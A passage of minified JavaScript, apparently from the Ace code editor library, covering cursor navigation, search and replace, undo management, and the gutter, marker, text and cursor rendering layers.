s=i,i=r.stepBackward(),i&&(i.type.indexOf(\"tag-close\")!==-1&&h.setEnd(r.getCurrentTokenRow(),r.getCurrentTokenColumn()+1),s.value===v&&s.type.indexOf(\"tag-name\")!==-1&&(i.value===\"<\"?a[v]++:i.value===\"</\"&&a[v]--,a[v]===0&&(u=!0)));while(i&&!u)}s&&s.type.indexOf(\"tag-name\")&&(d=h.start,d.row==n.row&&Math.abs(d.column-n.column)<2&&(d=h.end))}d=h&&h.cursor||d,d&&(e?h&&t?this.selection.setRange(h):h&&h.isEqual(this.getSelectionRange())?this.clearSelection():this.selection.selectTo(d.row,d.column):this.selection.moveTo(d.row,d.column))},this.gotoLine=function(e,t,n){this.selection.clearSelection(),this.session.unfold({row:e-1,column:t||0}),this.$blockScrolling+=1,this.exitMultiSelectMode&&this.exitMultiSelectMode(),this.moveCursorTo(e-1,t||0),this.$blockScrolling-=1,this.isRowFullyVisible(e-1)||this.scrollToLine(e-1,!0,n)},this.navigateTo=function(e,t){this.selection.moveTo(e,t)},this.navigateUp=function(e){if(this.selection.isMultiLine()&&!this.selection.isBackwards()){var t=this.selection.anchor.getPosition();return this.moveCursorToPosition(t)}this.selection.clearSelection(),this.selection.moveCursorBy(-e||-1,0)},this.navigateDown=function(e){if(this.selection.isMultiLine()&&this.selection.isBackwards()){var t=this.selection.anchor.getPosition();return this.moveCursorToPosition(t)}this.selection.clearSelection(),this.selection.moveCursorBy(e||1,0)},this.navigateLeft=function(e){if(!this.selection.isEmpty()){var t=this.getSelectionRange().start;this.moveCursorToPosition(t)}else{e=e||1;while(e--)this.selection.moveCursorLeft()}this.clearSelection()},this.navigateRight=function(e){if(!this.selection.isEmpty()){var t=this.getSelectionRange().end;this.moveCursorToPosition(t)}else{e=e||1;while(e--)this.selection.moveCursorRight()}this.clearSelection()},this.navigateLineStart=function(){this.selection.moveCursorLineStart(),this.clearSelection()},this.navigateLineEnd=function(){this.selection.moveCursorLineEnd(),this.clearSelection()},this.navigateFileEnd=function(){this.selection.moveCursorFileEnd(),this.clearSelection()},this.navigateFileStart=function(){this.selection.moveCursorFileStart(),this.clearSelection()},this.navigateWordRight=function(){this.selection.moveCursorWordRight(),this.clearSelection()},this.navigateWordLeft=function(){this.selection.moveCursorWordLeft(),this.clearSelection()},this.replace=function(e,t){t&&this.$search.set(t);var n=this.$search.find(this.session),r=0;return n?(this.$tryReplace(n,e)&&(r=1),n!==null&&(this.selection.setSelectionRange(n),this.renderer.scrollSelectionIntoView(n.start,n.end)),r):r},this.replaceAll=function(e,t){t&&this.$search.set(t);var n=this.$search.findAll(this.session),r=0;if(!n.length)return r;this.$blockScrolling+=1;var i=this.getSelectionRange();this.selection.moveTo(0,0);for(var s=n.length-1;s>=0;--s)this.$tryReplace(n[s],e)&&r++;return this.selection.setSelectionRange(i),this.$blockScrolling-=1,r},this.$tryReplace=function(e,t){var n=this.session.getTextRange(e);return t=this.$search.replace(n,t),t!==null?(e.end=this.session.replace(e,t),e):null},this.getLastSearchOptions=function(){return this.$search.getOptions()},this.find=function(e,t,n){t||(t={}),typeof e==\"string\"||e instanceof RegExp?t.needle=e:typeof e==\"object\"&&r.mixin(t,e);var i=this.selection.getRange();t.needle==null&&(e=this.session.getTextRange(i)||this.$search.$options.needle,e||(i=this.session.getWordRange(i.start.row,i.start.column),e=this.session.getTextRange(i)),this.$search.set({needle:e})),this.$search.set(t),t.start||this.$search.set({start:i});var s=this.$search.find(this.session);if(t.preventScroll)return s;if(s)return this.revealRange(s,n),s;t.backwards?i.start=i.end:i.end=i.start,this.selection.setRange(i)},this.findNext=function(e,t){this.find({skipCurrent:!0,backwards:!1},e,t)},this.findPrevious=function(e,t){this.find(e,{skipCurrent:!0,backwards:!0},t)},this.revealRange=function(e,t){this.$blockScrolling+=1,this.session.unfold(e),this.selection.setSelectionRange(e),this.$blockScrolling-=1;var n=this.renderer.scrollTop;this.renderer.scrollSelectionIntoView(e.start,e.end,.5),t!==!1&&this.renderer.animateScrolling(n)},this.undo=function(){this.$blockScrolling++,this.session.getUndoManager().undo(),this.$blockScrolling--,this.renderer.scrollCursorIntoView(null,.5)},this.redo=function(){this.$blockScrolling++,this.session.getUndoManager().redo(),this.$blockScrolling--,this.renderer.scrollCursorIntoView(null,.5)},this.destroy=function(){this.renderer.destroy(),this._signal(\"destroy\",this),this.session&&this.session.destroy()},this.setAutoScrollEditorIntoView=function(e){if(!e)return;var t,n=this,r=!1;this.$scrollAnchor||(this.$scrollAnchor=document.createElement(\"div\"));var i=this.$scrollAnchor;i.style.cssText=\"position:absolute\",this.container.insertBefore(i,this.container.firstChild);var s=this.on(\"changeSelection\",function(){r=!0}),o=this.renderer.on(\"beforeRender\",function(){r&&(t=n.renderer.container.getBoundingClientRect())}),u=this.renderer.on(\"afterRender\",function(){if(r&&t&&(n.isFocused()||n.searchBox&&n.searchBox.isFocused())){var e=n.renderer,s=e.$cursorLayer.$pixelPos,o=e.layerConfig,u=s.top-o.offset;s.top>=0&&u+t.top<0?r=!0:s.top<o.height&&s.top+t.top+o.lineHeight>window.innerHeight?r=!1:r=null,r!=null&&(i.style.top=u+\"px\",i.style.left=s.left+\"px\",i.style.height=o.lineHeight+\"px\",i.scrollIntoView(r)),r=t=null}});this.setAutoScrollEditorIntoView=function(e){if(e)return;delete this.setAutoScrollEditorIntoView,this.removeEventListener(\"changeSelection\",s),this.renderer.removeEventListener(\"afterRender\",u),this.renderer.removeEventListener(\"beforeRender\",o)}},this.$resetCursorStyle=function(){var e=this.$cursorStyle||\"ace\",t=this.renderer.$cursorLayer;if(!t)return;t.setSmoothBlinking(/smooth/.test(e)),t.isBlinking=!this.$readOnly&&e!=\"wide\",i.setCssClass(t.element,\"ace_slim-cursors\",/slim/.test(e))}}).call(b.prototype),g.defineOptions(b.prototype,\"editor\",{selectionStyle:{set:function(e){this.onSelectionChange(),this._signal(\"changeSelectionStyle\",{data:e})},initialValue:\"line\"},highlightActiveLine:{set:function(){this.$updateHighlightActiveLine()},initialValue:!0},highlightSelectedWord:{set:function(e){this.$onSelectionChange()},initialValue:!0},readOnly:{set:function(e){this.$resetCursorStyle()},initialValue:!1},cursorStyle:{set:function(e){this.$resetCursorStyle()},values:[\"ace\",\"slim\",\"smooth\",\"wide\"],initialValue:\"ace\"},mergeUndoDeltas:{values:[!1,!0,\"always\"],initialValue:!0},behavioursEnabled:{initialValue:!0},wrapBehavioursEnabled:{initialValue:!0},autoScrollEditorIntoView:{set:function(e){this.setAutoScrollEditorIntoView(e)}},hScrollBarAlwaysVisible:\"renderer\",vScrollBarAlwaysVisible:\"renderer\",highlightGutterLine:\"renderer\",animatedScroll:\"renderer\",showInvisibles:\"renderer\",showPrintMargin:\"renderer\",printMarginColumn:\"renderer\",printMargin:\"renderer\",fadeFoldWidgets:\"renderer\",showFoldWidgets:\"renderer\",showLineNumbers:\"renderer\",showGutter:\"renderer\",displayIndentGuides:\"renderer\",fontSize:\"renderer\",fontFamily:\"renderer\",maxLines:\"renderer\",minLines:\"renderer\",scrollPastEnd:\"renderer\",fixedWidthGutter:\"renderer\",theme:\"renderer\",scrollSpeed:\"$mouseHandler\",dragDelay:\"$mouseHandler\",dragEnabled:\"$mouseHandler\",focusTimout:\"$mouseHandler\",tooltipFollowsMouse:\"$mouseHandler\",firstLineNumber:\"session\",overwrite:\"session\",newLineMode:\"session\",useWorker:\"session\",useSoftTabs:\"session\",tabSize:\"session\",wrap:\"session\",indentedSoftWrap:\"session\",foldStyle:\"session\",mode:\"session\"}),t.Editor=b}),define(\"ace/undomanager\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(){this.reset()};(function(){function e(e){return{action:e.action,start:e.start,end:e.end,lines:e.lines.length==1?null:e.lines,text:e.lines.length==1?e.lines[0]:null}}function t(e){return{action:e.action,start:e.start,end:e.end,lines:e.lines||[e.text]}}function n(e,t){var n=new Array(e.length);for(var r=0;r<e.length;r++){var i=e[r],s={group:i.group,deltas:new Array(i.length)};for(var o=0;o<i.deltas.length;o++){var u=i.deltas[o];s.deltas[o]=t(u)}n[r]=s}return n}this.execute=function(e){var t=e.args[0];this.$doc=e.args[1],e.merge&&this.hasUndo()&&(this.dirtyCounter--,t=this.$undoStack.pop().concat(t)),this.$undoStack.push(t),this.$redoStack=[],this.dirtyCounter<0&&(this.dirtyCounter=NaN),this.dirtyCounter++},this.undo=function(e){var t=this.$undoStack.pop(),n=null;return t&&(n=this.$doc.undoChanges(t,e),this.$redoStack.push(t),this.dirtyCounter--),n},this.redo=function(e){var t=this.$redoStack.pop(),n=null;return t&&(n=this.$doc.redoChanges(this.$deserializeDeltas(t),e),this.$undoStack.push(t),this.dirtyCounter++),n},this.reset=function(){this.$undoStack=[],this.$redoStack=[],this.dirtyCounter=0},this.hasUndo=function(){return this.$undoStack.length>0},this.hasRedo=function(){return this.$redoStack.length>0},this.markClean=function(){this.dirtyCounter=0},this.isClean=function(){return this.dirtyCounter===0},this.$serializeDeltas=function(t){return n(t,e)},this.$deserializeDeltas=function(e){return n(e,t)}}).call(r.prototype),t.UndoManager=r}),define(\"ace/layer/gutter\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"../lib/dom\"),i=e(\"../lib/oop\"),s=e(\"../lib/lang\"),o=e(\"../lib/event_emitter\").EventEmitter,u=function(e){this.element=r.createElement(\"div\"),this.element.className=\"ace_layer ace_gutter-layer\",e.appendChild(this.element),this.setShowFoldWidgets(this.$showFoldWidgets),this.gutterWidth=0,this.$annotations=[],this.$updateAnnotations=this.$updateAnnotations.bind(this),this.$cells=[]};(function(){i.implement(this,o),this.setSession=function(e){this.session&&this.session.removeEventListener(\"change\",this.$updateAnnotations),this.session=e,e&&e.on(\"change\",this.$updateAnnotations)},this.addGutterDecoration=function(e,t){window.console&&console.warn&&console.warn(\"deprecated use session.addGutterDecoration\"),this.session.addGutterDecoration(e,t)},this.removeGutterDecoration=function(e,t){window.console&&console.warn&&console.warn(\"deprecated use session.removeGutterDecoration\"),this.session.removeGutterDecoration(e,t)},this.setAnnotations=function(e){this.$annotations=[];for(var t=0;t<e.length;t++){var n=e[t],r=n.row,i=this.$annotations[r];i||(i=this.$annotations[r]={text:[]});var o=n.text;o=o?s.escapeHTML(o):n.html||\"\",i.text.indexOf(o)===-1&&i.text.push(o);var u=n.type;u==\"error\"?i.className=\" ace_error\":u==\"warning\"&&i.className!=\" ace_error\"?i.className=\" ace_warning\":u==\"info\"&&!i.className&&(i.className=\" ace_info\")}},this.$updateAnnotations=function(e){if(!this.$annotations.length)return;var t=e.start.row,n=e.end.row-t;if(n!==0)if(e.action==\"remove\")this.$annotations.splice(t,n+1,null);else{var r=new Array(n+1);r.unshift(t,1),this.$annotations.splice.apply(this.$annotations,r)}},this.update=function(e){var t=this.session,n=e.firstRow,i=Math.min(e.lastRow+e.gutterOffset,t.getLength()-1),s=t.getNextFoldLine(n),o=s?s.start.row:Infinity,u=this.$showFoldWidgets&&t.foldWidgets,a=t.$breakpoints,f=t.$decorations,l=t.$firstLineNumber,c=0,h=t.gutterRenderer||this.$renderer,p=null,d=-1,v=n;for(;;){v>o&&(v=s.end.row+1,s=t.getNextFoldLine(v,s),o=s?s.start.row:Infinity);if(v>i){while(this.$cells.length>d+1)p=this.$cells.pop(),this.element.removeChild(p.element);break}p=this.$cells[++d],p||(p={element:null,textNode:null,foldWidget:null},p.element=r.createElement(\"div\"),p.textNode=document.createTextNode(\"\"),p.element.appendChild(p.textNode),this.element.appendChild(p.element),this.$cells[d]=p);var m=\"ace_gutter-cell \";a[v]&&(m+=a[v]),f[v]&&(m+=f[v]),this.$annotations[v]&&(m+=this.$annotations[v].className),p.element.className!=m&&(p.element.className=m);var g=t.getRowLength(v)*e.lineHeight+\"px\";g!=p.element.style.height&&(p.element.style.height=g);if(u){var y=u[v];y==null&&(y=u[v]=t.getFoldWidget(v))}if(y){p.foldWidget||(p.foldWidget=r.createElement(\"span\"),p.element.appendChild(p.foldWidget));var m=\"ace_fold-widget ace_\"+y;y==\"start\"&&v==o&&v<s.end.row?m+=\" ace_closed\":m+=\" ace_open\",p.foldWidget.className!=m&&(p.foldWidget.className=m);var g=e.lineHeight+\"px\";p.foldWidget.style.height!=g&&(p.foldWidget.style.height=g)}else p.foldWidget&&(p.element.removeChild(p.foldWidget),p.foldWidget=null);var b=c=h?h.getText(t,v):v+l;b!=p.textNode.data&&(p.textNode.data=b),v++}this.element.style.height=e.minHeight+\"px\";if(this.$fixedWidth||t.$useWrapMode)c=t.getLength()+l;var w=h?h.getWidth(t,c,e):c.toString().length*e.characterWidth,E=this.$padding||this.$computePadding();w+=E.left+E.right,w!==this.gutterWidth&&!isNaN(w)&&(this.gutterWidth=w,this.element.style.width=Math.ceil(this.gutterWidth)+\"px\",this._emit(\"changeGutterWidth\",w))},this.$fixedWidth=!1,this.$showLineNumbers=!0,this.$renderer=\"\",this.setShowLineNumbers=function(e){this.$renderer=!e&&{getWidth:function(){return\"\"},getText:function(){return\"\"}}},this.getShowLineNumbers=function(){return this.$showLineNumbers},this.$showFoldWidgets=!0,this.setShowFoldWidgets=function(e){e?r.addCssClass(this.element,\"ace_folding-enabled\"):r.removeCssClass(this.element,\"ace_folding-enabled\"),this.$showFoldWidgets=e,this.$padding=null},this.getShowFoldWidgets=function(){return this.$showFoldWidgets},this.$computePadding=function(){if(!this.element.firstChild)return{left:0,right:0};var e=r.computedStyle(this.element.firstChild);return this.$padding={},this.$padding.left=parseInt(e.paddingLeft)+1||0,this.$padding.right=parseInt(e.paddingRight)||0,this.$padding},this.getRegion=function(e){var t=this.$padding||this.$computePadding(),n=this.element.getBoundingClientRect();if(e.x<t.left+n.left)return\"markers\";if(this.$showFoldWidgets&&e.x>n.right-t.right)return\"foldWidgets\"}}).call(u.prototype),t.Gutter=u}),define(\"ace/layer/marker\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../lib/dom\"),s=function(e){this.element=i.createElement(\"div\"),this.element.className=\"ace_layer ace_marker-layer\",e.appendChild(this.element)};(function(){function e(e,t,n,r){return(e?1:0)|(t?2:0)|(n?4:0)|(r?8:0)}this.$padding=0,this.setPadding=function(e){this.$padding=e},this.setSession=function(e){this.session=e},this.setMarkers=function(e){this.markers=e},this.update=function(e){var e=e||this.config;if(!e)return;this.config=e;var t=[];for(var n in this.markers){var r=this.markers[n];if(!r.range){r.update(t,this,this.session,e);continue}var i=r.range.clipRows(e.firstRow,e.lastRow);if(i.isEmpty())continue;i=i.toScreenRange(this.session);if(r.renderer){var s=this.$getTop(i.start.row,e),o=this.$padding+i.start.column*e.characterWidth;r.renderer(t,i,o,s,e)}else r.type==\"fullLine\"?this.drawFullLineMarker(t,i,r.clazz,e):r.type==\"screenLine\"?this.drawScreenLineMarker(t,i,r.clazz,e):i.isMultiLine()?r.type==\"text\"?this.drawTextMarker(t,i,r.clazz,e):this.drawMultiLineMarker(t,i,r.clazz,e):this.drawSingleLineMarker(t,i,r.clazz+\" ace_start\"+\" ace_br15\",e)}this.element.innerHTML=t.join(\"\")},this.$getTop=function(e,t){return(e-t.firstRowScreen)*t.lineHeight},this.drawTextMarker=function(t,n,i,s,o){var u=this.session,a=n.start.row,f=n.end.row,l=a,c=0,h=0,p=u.getScreenLastRowColumn(l),d=new r(l,n.start.column,l,h);for(;l<=f;l++)d.start.row=d.end.row=l,d.start.column=l==a?n.start.column:u.getRowWrapIndent(l),d.end.column=p,c=h,h=p,p=l+1<f?u.getScreenLastRowColumn(l+1):l==f?0:n.end.column,this.drawSingleLineMarker(t,d,i+(l==a?\" ace_start\":\"\")+\" ace_br\"+e(l==a||l==a+1&&n.start.column,c<h,h>p,l==f),s,l==f?0:1,o)},this.drawMultiLineMarker=function(e,t,n,r,i){var s=this.$padding,o=r.lineHeight,u=this.$getTop(t.start.row,r),a=s+t.start.column*r.characterWidth;i=i||\"\",e.push(\"<div class='\",n,\" ace_br1 ace_start' style='\",\"height:\",o,\"px;\",\"right:0;\",\"top:\",u,\"px;\",\"left:\",a,\"px;\",i,\"'></div>\"),u=this.$getTop(t.end.row,r);var f=t.end.column*r.characterWidth;e.push(\"<div class='\",n,\" ace_br12' style='\",\"height:\",o,\"px;\",\"width:\",f,\"px;\",\"top:\",u,\"px;\",\"left:\",s,\"px;\",i,\"'></div>\"),o=(t.end.row-t.start.row-1)*r.lineHeight;if(o<=0)return;u=this.$getTop(t.start.row+1,r);var l=(t.start.column?1:0)|(t.end.column?0:8);e.push(\"<div class='\",n,l?\" ace_br\"+l:\"\",\"' style='\",\"height:\",o,\"px;\",\"right:0;\",\"top:\",u,\"px;\",\"left:\",s,\"px;\",i,\"'></div>\")},this.drawSingleLineMarker=function(e,t,n,r,i,s){var o=r.lineHeight,u=(t.end.column+(i||0)-t.start.column)*r.characterWidth,a=this.$getTop(t.start.row,r),f=this.$padding+t.start.column*r.characterWidth;e.push(\"<div class='\",n,\"' style='\",\"height:\",o,\"px;\",\"width:\",u,\"px;\",\"top:\",a,\"px;\",\"left:\",f,\"px;\",s||\"\",\"'></div>\")},this.drawFullLineMarker=function(e,t,n,r,i){var s=this.$getTop(t.start.row,r),o=r.lineHeight;t.start.row!=t.end.row&&(o+=this.$getTop(t.end.row,r)-s),e.push(\"<div class='\",n,\"' style='\",\"height:\",o,\"px;\",\"top:\",s,\"px;\",\"left:0;right:0;\",i||\"\",\"'></div>\")},this.drawScreenLineMarker=function(e,t,n,r,i){var s=this.$getTop(t.start.row,r),o=r.lineHeight;e.push(\"<div class='\",n,\"' style='\",\"height:\",o,\"px;\",\"top:\",s,\"px;\",\"left:0;right:0;\",i||\"\",\"'></div>\")}}).call(s.prototype),t.Marker=s}),define(\"ace/layer/text\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/dom\",\"ace/lib/lang\",\"ace/lib/useragent\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/dom\"),s=e(\"../lib/lang\"),o=e(\"../lib/useragent\"),u=e(\"../lib/event_emitter\").EventEmitter,a=function(e){this.element=i.createElement(\"div\"),this.element.className=\"ace_layer ace_text-layer\",e.appendChild(this.element),this.$updateEolChar=this.$updateEolChar.bind(this)};(function(){r.implement(this,u),this.EOF_CHAR=\"\\u00b6\",this.EOL_CHAR_LF=\"\\u00ac\",this.EOL_CHAR_CRLF=\"\\u00a4\",this.EOL_CHAR=this.EOL_CHAR_LF,this.TAB_CHAR=\"\\u2014\",this.SPACE_CHAR=\"\\u00b7\",this.$padding=0,this.$updateEolChar=function(){var e=this.session.doc.getNewLineCharacter()==\"\\n\"?this.EOL_CHAR_LF:this.EOL_CHAR_CRLF;if(this.EOL_CHAR!=e)return this.EOL_CHAR=e,!0},this.setPadding=function(e){this.$padding=e,this.element.style.padding=\"0 \"+e+\"px\"},this.getLineHeight=function(){return this.$fontMetrics.$characterSize.height||0},this.getCharacterWidth=function(){return this.$fontMetrics.$characterSize.width||0},this.$setFontMetrics=function(e){this.$fontMetrics=e,this.$fontMetrics.on(\"changeCharacterSize\",function(e){this._signal(\"changeCharacterSize\",e)}.bind(this)),this.$pollSizeChanges()},this.checkForSizeChanges=function(){this.$fontMetrics.checkForSizeChanges()},this.$pollSizeChanges=function(){return this.$pollSizeChangesTimer=this.$fontMetrics.$pollSizeChanges()},this.setSession=function(e){this.session=e,e&&this.$computeTabString()},this.showInvisibles=!1,this.setShowInvisibles=function(e){return this.showInvisibles==e?!1:(this.showInvisibles=e,this.$computeTabString(),!0)},this.displayIndentGuides=!0,this.setDisplayIndentGuides=function(e){return this.displayIndentGuides==e?!1:(this.displayIndentGuides=e,this.$computeTabString(),!0)},this.$tabStrings=[],this.onChangeTabSize=this.$computeTabString=function(){var e=this.session.getTabSize();this.tabSize=e;var t=this.$tabStrings=[0];for(var n=1;n<e+1;n++)this.showInvisibles?t.push(\"<span class='ace_invisible ace_invisible_tab'>\"+s.stringRepeat(this.TAB_CHAR,n)+\"</span>\"):t.push(s.stringRepeat(\" \",n));if(this.displayIndentGuides){this.$indentGuideRe=/\\s\\S| \\t|\\t |\\s$/;var r=\"ace_indent-guide\",i=\"\",o=\"\";if(this.showInvisibles){r+=\" ace_invisible\",i=\" ace_invisible_space\",o=\" ace_invisible_tab\";var u=s.stringRepeat(this.SPACE_CHAR,this.tabSize),a=s.stringRepeat(this.TAB_CHAR,this.tabSize)}else var u=s.stringRepeat(\" \",this.tabSize),a=u;this.$tabStrings[\" \"]=\"<span class='\"+r+i+\"'>\"+u+\"</span>\",this.$tabStrings[\"\t\"]=\"<span class='\"+r+o+\"'>\"+a+\"</span>\"}},this.updateLines=function(e,t,n){(this.config.lastRow!=e.lastRow||this.config.firstRow!=e.firstRow)&&this.scrollLines(e),this.config=e;var r=Math.max(t,e.firstRow),i=Math.min(n,e.lastRow),s=this.element.childNodes,o=0;for(var u=e.firstRow;u<r;u++){var a=this.session.getFoldLine(u);if(a){if(a.containsRow(r)){r=a.start.row;break}u=a.end.row}o++}var u=r,a=this.session.getNextFoldLine(u),f=a?a.start.row:Infinity;for(;;){u>f&&(u=a.end.row+1,a=this.session.getNextFoldLine(u,a),f=a?a.start.row:Infinity);if(u>i)break;var l=s[o++];if(l){var c=[];this.$renderLine(c,u,!this.$useLineGroups(),u==f?a:!1),l.style.height=e.lineHeight*this.session.getRowLength(u)+\"px\",l.innerHTML=c.join(\"\")}u++}},this.scrollLines=function(e){var t=this.config;this.config=e;if(!t||t.lastRow<e.firstRow)return this.update(e);if(e.lastRow<t.firstRow)return this.update(e);var n=this.element;if(t.firstRow<e.firstRow)for(var r=this.session.getFoldedRowCount(t.firstRow,e.firstRow-1);r>0;r--)n.removeChild(n.firstChild);if(t.lastRow>e.lastRow)for(var r=this.session.getFoldedRowCount(e.lastRow+1,t.lastRow);r>0;r--)n.removeChild(n.lastChild);if(e.firstRow<t.firstRow){var i=this.$renderLinesFragment(e,e.firstRow,t.firstRow-1);n.firstChild?n.insertBefore(i,n.firstChild):n.appendChild(i)}if(e.lastRow>t.lastRow){var i=this.$renderLinesFragment(e,t.lastRow+1,e.lastRow);n.appendChild(i)}},this.$renderLinesFragment=function(e,t,n){var r=this.element.ownerDocument.createDocumentFragment(),s=t,o=this.session.getNextFoldLine(s),u=o?o.start.row:Infinity;for(;;){s>u&&(s=o.end.row+1,o=this.session.getNextFoldLine(s,o),u=o?o.start.row:Infinity);if(s>n)break;var a=i.createElement(\"div\"),f=[];this.$renderLine(f,s,!1,s==u?o:!1),a.innerHTML=f.join(\"\");if(this.$useLineGroups())a.className=\"ace_line_group\",r.appendChild(a),a.style.height=e.lineHeight*this.session.getRowLength(s)+\"px\";else while(a.firstChild)r.appendChild(a.firstChild);s++}return r},this.update=function(e){this.config=e;var t=[],n=e.firstRow,r=e.lastRow,i=n,s=this.session.getNextFoldLine(i),o=s?s.start.row:Infinity;for(;;){i>o&&(i=s.end.row+1,s=this.session.getNextFoldLine(i,s),o=s?s.start.row:Infinity);if(i>r)break;this.$useLineGroups()&&t.push(\"<div class='ace_line_group' style='height:\",e.lineHeight*this.session.getRowLength(i),\"px'>\"),this.$renderLine(t,i,!1,i==o?s:!1),this.$useLineGroups()&&t.push(\"</div>\"),i++}this.element.innerHTML=t.join(\"\")},this.$textToken={text:!0,rparen:!0,lparen:!0},this.$renderToken=function(e,t,n,r){var i=this,o=/\\t|&|<|>|( +)|([\\x00-\\x1f\\x80-\\xa0\\xad\\u1680\\u180E\\u2000-\\u200f\\u2028\\u2029\\u202F\\u205F\\u3000\\uFEFF\\uFFF9-\\uFFFC])|[\\u1100-\\u115F\\u11A3-\\u11A7\\u11FA-\\u11FF\\u2329-\\u232A\\u2E80-\\u2E99\\u2E9B-\\u2EF3\\u2F00-\\u2FD5\\u2FF0-\\u2FFB\\u3000-\\u303E\\u3041-\\u3096\\u3099-\\u30FF\\u3105-\\u312D\\u3131-\\u318E\\u3190-\\u31BA\\u31C0-\\u31E3\\u31F0-\\u321E\\u3220-\\u3247\\u3250-\\u32FE\\u3300-\\u4DBF\\u4E00-\\uA48C\\uA490-\\uA4C6\\uA960-\\uA97C\\uAC00-\\uD7A3\\uD7B0-\\uD7C6\\uD7CB-\\uD7FB\\uF900-\\uFAFF\\uFE10-\\uFE19\\uFE30-\\uFE52\\uFE54-\\uFE66\\uFE68-\\uFE6B\\uFF01-\\uFF60\\uFFE0-\\uFFE6]/g,u=function(e,n,r,o,u){if(n)return i.showInvisibles?\"<span class='ace_invisible ace_invisible_space'>\"+s.stringRepeat(i.SPACE_CHAR,e.length)+\"</span>\":e;if(e==\"&\")return\"&#38;\";if(e==\"<\")return\"&#60;\";if(e==\">\")return\"&#62;\";if(e==\"\t\"){var a=i.session.getScreenTabSize(t+o);return t+=a-1,i.$tabStrings[a]}if(e==\"\\u3000\"){var f=i.showInvisibles?\"ace_cjk ace_invisible ace_invisible_space\":\"ace_cjk\",l=i.showInvisibles?i.SPACE_CHAR:\"\";return t+=1,\"<span class='\"+f+\"' style='width:\"+i.config.characterWidth*2+\"px'>\"+l+\"</span>\"}return r?\"<span class='ace_invisible ace_invisible_space ace_invalid'>\"+i.SPACE_CHAR+\"</span>\":(t+=1,\"<span class='ace_cjk' style='width:\"+i.config.characterWidth*2+\"px'>\"+e+\"</span>\")},a=r.replace(o,u);if(!this.$textToken[n.type]){var f=\"ace_\"+n.type.replace(/\\./g,\" ace_\"),l=\"\";n.type==\"fold\"&&(l=\" style='width:\"+n.value.length*this.config.characterWidth+\"px;' \"),e.push(\"<span class='\",f,\"'\",l,\">\",a,\"</span>\")}else e.push(a);return t+r.length},this.renderIndentGuide=function(e,t,n){var r=t.search(this.$indentGuideRe);return r<=0||r>=n?t:t[0]==\" \"?(r-=r%this.tabSize,e.push(s.stringRepeat(this.$tabStrings[\" \"],r/this.tabSize)),t.substr(r)):t[0]==\"\t\"?(e.push(s.stringRepeat(this.$tabStrings[\"\t\"],r)),t.substr(r)):t},this.$renderWrappedLine=function(e,t,n,r){var i=0,o=0,u=n[0],a=0;for(var f=0;f<t.length;f++){var l=t[f],c=l.value;if(f==0&&this.displayIndentGuides){i=c.length,c=this.renderIndentGuide(e,c,u);if(!c)continue;i-=c.length}if(i+c.length<u)a=this.$renderToken(e,a,l,c),i+=c.length;else{while(i+c.length>=u)a=this.$renderToken(e,a,l,c.substring(0,u-i)),c=c.substring(u-i),i=u,r||e.push(\"</div>\",\"<div class='ace_line' style='height:\",this.config.lineHeight,\"px'>\"),e.push(s.stringRepeat(\"\\u00a0\",n.indent)),o++,a=0,u=n[o]||Number.MAX_VALUE;c.length!=0&&(i+=c.length,a=this.$renderToken(e,a,l,c))}}},this.$renderSimpleLine=function(e,t){var n=0,r=t[0],i=r.value;this.displayIndentGuides&&(i=this.renderIndentGuide(e,i)),i&&(n=this.$renderToken(e,n,r,i));for(var s=1;s<t.length;s++)r=t[s],i=r.value,n=this.$renderToken(e,n,r,i)},this.$renderLine=function(e,t,n,r){!r&&r!=0&&(r=this.session.getFoldLine(t));if(r)var i=this.$getFoldLineTokens(t,r);else var i=this.session.getTokens(t);n||e.push(\"<div class='ace_line' style='height:\",this.config.lineHeight*(this.$useLineGroups()?1:this.session.getRowLength(t)),\"px'>\");if(i.length){var s=this.session.getRowSplitData(t);s&&s.length?this.$renderWrappedLine(e,i,s,n):this.$renderSimpleLine(e,i)}this.showInvisibles&&(r&&(t=r.end.row),e.push(\"<span class='ace_invisible ace_invisible_eol'>\",t==this.session.getLength()-1?this.EOF_CHAR:this.EOL_CHAR,\"</span>\")),n||e.push(\"</div>\")},this.$getFoldLineTokens=function(e,t){function i(e,t,n){var i=0,s=0;while(s+e[i].value.length<t){s+=e[i].value.length,i++;if(i==e.length)return}if(s!=t){var o=e[i].value.substring(t-s);o.length>n-t&&(o=o.substring(0,n-t)),r.push({type:e[i].type,value:o}),s=t+o.length,i+=1}while(s<n&&i<e.length){var o=e[i].value;o.length+s>n?r.push({type:e[i].type,value:o.substring(0,n-s)}):r.push(e[i]),s+=o.length,i+=1}}var n=this.session,r=[],s=n.getTokens(e);return t.walk(function(e,t,o,u,a){e!=null?r.push({type:\"fold\",value:e}):(a&&(s=n.getTokens(t)),s.length&&i(s,u,o))},t.end.row,this.session.getLine(t.end.row).length),r},this.$useLineGroups=function(){return this.session.getUseWrapMode()},this.destroy=function(){clearInterval(this.$pollSizeChangesTimer),this.$measureNode&&this.$measureNode.parentNode.removeChild(this.$measureNode),delete this.$measureNode}}).call(a.prototype),t.Text=a}),define(\"ace/layer/cursor\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";var r=e(\"../lib/dom\"),i,s=function(e){this.element=r.createElement(\"div\"),this.element.className=\"ace_layer ace_cursor-layer\",e.appendChild(this.element),i===undefined&&(i=!(\"opacity\"in this.element.style)),this.isVisible=!1,this.isBlinking=!0,this.blinkInterval=1e3,this.smoothBlinking=!1,this.cursors=[],this.cursor=this.addCursor(),r.addCssClass(this.element,\"ace_hidden-cursors\"),this.$updateCursors=(i?this.$updateVisibility:this.$updateOpacity).bind(this)};(function(){this.$updateVisibility=function(e){var t=this.cursors;for(var n=t.length;n--;)t[n].style.visibility=e?\"\":\"hidden\"},this.$updateOpacity=function(e){var t=this.cursors;for(var 